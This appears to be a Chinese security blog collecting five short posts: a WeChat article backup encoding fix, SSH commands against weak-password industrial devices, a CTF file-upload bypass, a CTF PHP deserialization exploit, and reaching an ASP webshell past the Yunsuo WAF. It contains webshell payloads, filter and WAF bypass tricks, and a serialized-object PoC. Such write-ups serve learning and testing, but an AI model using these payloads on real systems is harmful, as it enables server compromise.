微信公众号文章备份出现的问题以及解决方案


由于众所周知的原因,所以赶紧备份一下某些比较好的微信公众号的文章。
使用到的工具信公众号文章下载器 v3.265 - Beta1
使用过程很简单,首先安装证书,然后访问某个公众号的历史文章界面,注意要使用微信自带的浏览器,然后就会自动下载所有文章(记得把下载全部文章的复选框勾上)。
由于我备份的是html,在本地并不好查看,所以准备上传到服务器,上传完成之后中文乱码,如下:

1.png

在终端显示异常:
2.png

经过大佬指点,这个工具下载下来的应该是GBK编码的,转为UTF-8即可:

yum install convmv
convmv -f gbk -t utf-8 -r --notest /opt/   #(假设乱码文件都在这个目录下)

转换过程:
image.png

但是apache默认的显示目录不全,修改配置文件/etc/httpd/conf.d/autoindex.conf:
2

修改为:

IndexOptions FancyIndexing HTMLTable VersionSort NameWidth=* FoldersFirst Charset=UTF-8 SuppressDescription SuppressHTMLPreamble

效果图:

image.png


SSH不使用终端执行非交互命令和交互性命令


背景

在渗透测试中,特别是某些工控的设备的渗透测试(漏洞扫描)中,经常会扫描到一些工控设备的设备的弱口令,但是这些弱口令无法通过类似: [email protected],来获取一个终端.

执行非交互命令

在后面直接接上要执行的命令即可,如下:
ssh [email protected] "ls -al"
K2KO8s.png

执行交互命令

执行交互命令只需要加上一个-t参数即可:
K2MDRs.png

水文完


记一次CTF中文件上传绕过的过程


某个夜黑逢高的夜晚,同事神神秘秘的和我说,有一道文件上传的题目,让我来做一下,于是我祭出我珍藏多年的Burpsuite和火狐浏览器。
打开网页之后只有一个简单的上传框,没有其他任何提示,按照惯例首先查看网站源代码,得到源代码如下:

</head>
<body alink="gold" bgcolor="#E8E8E8">
<div style="LEFT: 45%; MARGIN: -170px 0px 0px -370px; WIDTH: 780px; POSITION: absolute; TOP: 40%; HEIGHT: 380px">
<center>
  <table style="WIDTH: 600px" TOP=100% borderColor=#0000cc cellSpacing=0 cellPadding=1 width=1500 align=center bgColor=#000000 border=1>
    <tr>
      <td>
                <center><img src=1.gif></img></center>
      </td>
    </tr>
</table>

<form action="upload.php" method="post" enctype="multipart/form-data">
<center><label for="file"><font size="5" color="black" face="锟斤拷锟斤拷">Filename:</font></label>
<input type="file" name="file" id="file" />
<input type="submit" name="submit" value="Submit" /></center>
</form>
</body>
</html>

通过源代码也看到只有一个上传框,没有任何其他提示,拿起Burp就是一梭子,赢了会所嫩模,输了下海干活。首先准备一个最简单的一句话木马,文件名为test.php,内容如下<?php eval($_POST[pass]);?>先直接上传试试,根据提示再进行下一步。
看到服务器返回的是请检查上传文件类型,只允许jpg,jpeg,gif格式,请不要尝试进行攻击!,如下图所示:
burp
看到允许的上传文件类型,我们可以使用图片马,这里没有使用图片马,具体原因可以看下面的说明。这里我们构造一个假图片,先上传上去,再进行绕过啥的,这里我构造的文件名为test.gif,内容为

GIF
<?php eval($_POST[pass]);?>

然后再进行上传测试,服务器返回的结果是:请检查上传文件大小,上传文件在20kb-100kb,请不要尝试进行攻击!,我们已经成功绕过第一层的防护了,如下图所示:
绕过第一层
下面我们来绕过文件大小的限制,这就是上一步不用图片马的原因,图片马包含大量的二进制数据,看起来非常的不直观,所有这里我们使用大量无意义的文本来填充数据包,直到满足要求,最后的数据包如下如所示:
绕过文件大小限制
可以看到,我们的文件已经上传成功了,我们先访问一下这个文件,看看文件内容有没有缺少,通过curl发现虽然图片已经上传成功了,但是<? php eval已经被过滤了,而且我现在上传的只是一张图片,并不能被解析。服务器上这个文件的内容如下图所示:
关键字被过滤
下面还有两个步骤要做:
1.让文件可以被解析
思路:解析漏洞、后缀绕过等等
2.文件内容绕过
使用不包含<? php的文件标记
首先来绕过文件内容过滤,只有绕过了文件内容的过滤,才能判断你的文件有没有被解析,经过Google搜索,发现之前的一个大牛的文章,可以使用<script language=php> </script> 来绕过<?php的限制,并且由于后端过滤了php,这里我们可以使用Php来绕过限制,为了方便 测试,我们先将上传的文件后缀改为txt,构造相关数据包如下所示:
绕过文件内容过滤
通过大佬的指导,发现pht这个后缀也是可以被解析的遂最终构造的数据包如下所示:
最终数据包
tips:
由于过滤了php,假设flag在flag_test.php,直接使用cat命令是是行不通的,可以使用通配符例如cat ../*,这样就可以查看某个目录下的全部文件了。
最后附上读取到的源代码:

<?php
header("Content-Type: text/html;charset=utf-8");
$file_size=$_FILES['file']['size'];
//获取文件大小
$file_name=$_FILES['file']['name'];
//获取文件名字
$file_ext = substr($file_name, strrpos($file_name, '.') + 1);
//获取文件后缀
$file_mime=$_FILES['file']['type'];
//获取文件的mime类型
$file_tmp =$_FILES['file']['tmp_name'];
//获取存储在服务器的文件的临时副本的名称
$tempfile = @fopen($file_tmp, "rb");
$bin = fread($tempfile, 2); //只读2字节
fclose($tempfile);
$strInfo = @unpack("C2chars", $bin);
$typeCode = intval($strInfo['chars1'] . $strInfo['chars2']);
$fileType = '';
switch ($typeCode){ // 6677:bmp 255216:jpg 7173:gif 13780:png 7790:exe 8297:rar 8075:zip tar:109121 7z:55122 gz 31139
    case '255216':
        $fileType = 'jpg';
        break;
    case '7173':
        $fileType = 'gif';
        break;
    case '13780':
        $fileType = 'png';
        break;
    default:
        $fileType = 'unknown';
}
/*
读取文件头部信息,判断文件的类型
*/
$filetype1 = array("php", "asp","php2","php4","aspx","html","htm","php3","php5","phtml","pwml","inc","ascx","jsp","cfm","cfc","pl","bat","exe","com","dll","vbs","js","reg","cgi","asis","sh","shtml","shtm","phtm","asa","cer");
$filetype2 = array("jpg","png","gif");
//定义文件的黑名单表单
if (($file_mime == "image/gif") || ($file_mime == "image/jpeg") || ($file_mime == "image/pjpeg"))
    {
        if(in_array($file_ext,$filetype1,TRUE))
    {
        echo "请检查上传文件,上传文件不符合要求,请不要尝试进行攻击!";
        exit();
        //判断文件后缀是否符合要求
    }
elseif ($fileType == 'unknown')
    {
            echo "请检查上传文件,上传文件不符合要求,请不要尝试进行攻击!";
            exit();
            //判断文件头部是否符合要求
    }
else{

        #if($file_size>=1024*100&&$file_size<=1024*100)
        #echo $file_mime;
        if (($file_size < 1024*20) || ($file_size > 1024*100))
        {
            echo "请检查上传文件大小,上传文件在20kb-100kb,请不要尝试进行攻击!";
            exit();
            //判断文件大小
        }
        else

        {

            if (file_exists($file_tmp))
            {
                $str = file_get_contents($file_tmp);//将整个文件内容读入到一个字符串中
                #$str = str_replace("\r\n","<br />",$str);
                $str = str_replace("eval","",$str);
                $str = str_replace("<?","",$str);
                $str = str_replace("php","",$str);
                //替换危险字符
                $myfile = fopen($file_tmp, "w") or die("Unable to open file!");
                fwrite($myfile, $str);
                fclose($myfile);
                //将替换完成的文件写入文件
                $path="upload/".time().$file_name;
                echo $path;
                if(move_uploaded_file($file_tmp,$path))
                    {
                        echo "<br />upload success!<br />";;
                   }
                else
                    echo"文件上传出错!";

            }


        }
    }
    }
    else
    {
        echo "请检查上传文件类型,只允许jpg,jpeg,gif格式,请不要尝试进行攻击!";
        exit();
    }

记一道CTF中反序列化题


首先先看一下源代码:

<?php
session_start();
class Admin
{
    public $flag = 0;
    public function __wakeup()
    {
        include 'flag.php';
        if ($this->flag != 0)
            echo "flag! flag! ", $myflag;
        else
            echo "no! no! no!";
    }
    public function __toString()
    {
        include 'flag.php';
        return 'Flag in my bowl.' . $myflag;
    }
    public function __call($a1, $a2)
    {
        include 'flag.php';
        return $myflag;
    }
    private function tmp()
    {
        echo "you can't find me.";
    }
}

class People
{
    public $name = "A People";
    public $age = 3;
    public $sex = "Unknown";
    public function getData()
    {
        return self::$data;
    }
}

if (isset($_SESSION['sex'])) {
    echo '<img src="WAI.png"><br/>';
    if ($_SESSION['sex'] != 'girl') {
        echo '<h1>Name : ' . $_SESSION['name'] . '</h1>';
        echo '<h1>Sex : ' . $_SESSION['sex'] . '</h1>';
        echo '<h1>Age : ' . $_SESSION['age'] . '</h1>';        
    } else if (isset($_COOKIE['info'])) {
        $a = unserialize($_COOKIE['info']);
        echo '<h1>Name : ' . $a->name . '</h1>';
        echo '<h1>Sex : ' . $a->sex . '</h1>';
        echo '<h1>Age : 18</h1>';
    }
    die();
} else {
    if (isset($_POST['name'])) {
        $name = isset($_POST['name']) ? $_POST['name'] : 'Unknown';
        $sex = isset($_POST['sex']) ? $_POST['sex'] : 'man';
        $info = new People();
        $info->name = $name;
        $info->sex = $sex;
        $_SESSION['name'] = $name;
        $_SESSION['sex'] = $sex;
        $_SESSION['age'] = $info->age;
        setcookie("info", serialize($info), time() + 3600);
        die('<h1>Oh, I know.</h1><a href="javascript:history.go(-1);location.reload()">< Back.</a>');
    }
}

?>

题目分析:

程序流程分析:
首先判断session中是否存在sex这个变量,如果有这个值,判断sex的值是否为girl,如果不为girl的话,输出session中的部分信息,如果是girl,从cookie中读取Info的值,然后进行反序列化的操作。
如果session中不存在sex这个变量,那就判断POST请求中是否有name这个变量,如果存在name变量进行set cookie的操作。

利用点分析:
在Admin这个类中,如果flag的值不为0,就会输出这题的FLAG,所以就是想办法调用创建Admin这个类的一个实例,并且使得flag的值不为0,唯一可以利用的点就是使用$a = unserialize($_COOKIE['info']);来调用Admin类中的wakeup方法,因为在反序列化的过程中,会自动调用wakeup()这个方法。

利用过程:
如果想进入有反序列化的这个分支,就需要使得session中的sex为girl,而代码中对session的sex变量唯一的操作是在当POST请求中存在name变量的时候。所以先构造一个POST请求,而且我们要满足sex的值为girl,所以这里构造的POST的数据包内容为name=admin&sex=girl。最后构造的数据包如下所示:
数据包j7a90.png
如果你在burp里面直接将GET的请求改为POST请求,需要在请求头加上Content-Type: application/x-www-form-urlencoded,不然服务器会无法解析POST请求。更新一下返回的cookie之后,再次访问此页面,这里使用GET和POST都可以,结果如下:
Zj75uD.png
这里可以看到我们已经进入了第一个if分支,这里我们根据源代码,构建poc如下所示:

<?php
class Admin{
        var $flag = 1;
}

$class1 = new Admin;
$class1_ser = serialize($class1);
print_r($class1_ser);
echo "\n";
?>

运行后得到的结果是:O:5:"Admin":1:{s:4:"flag";i:1;}
使用url编码后修改cookie的值,编码后的poc为:%4f%3a%35%3a%22%41%64%6d%69%6e%22%3a%31%3a%7b%73%3a%34%3a%22%66%6c%61%67%22%3b%69%3a%31%3b%7d%0a,发送数据包即可得到flag。
ZjbUyT.png
由于我这里是本地环境,没有flag,文章到此结束,第一次做反序列化,如有不对,多多指教


绕过云锁访问服务器上的ASP大马


最近在测试一个网站的时候,后台可以上传任意的asp/aspx文件,但是访问会有云锁拦截。
发现有两种方法可以绕过云锁的防护:
第一种:
使用大佬写的冰蝎SHELL管理工具,上传自带的木马,即可使用客户端进行管理,但是好像是因为这个版本有Bug,不支持中文目录。
项目地址:冰蝎项目地址
冰蝎连接截图
第二种:
先上传一个大马,虽然访问被拦截,但是文件并没有删除,再上传另外一个文件包含这个文件即可。
语法

<!--#include file="1.asp" -->
<!--#include file="1.aspx" -->

然后就能正常使用了
绕过截图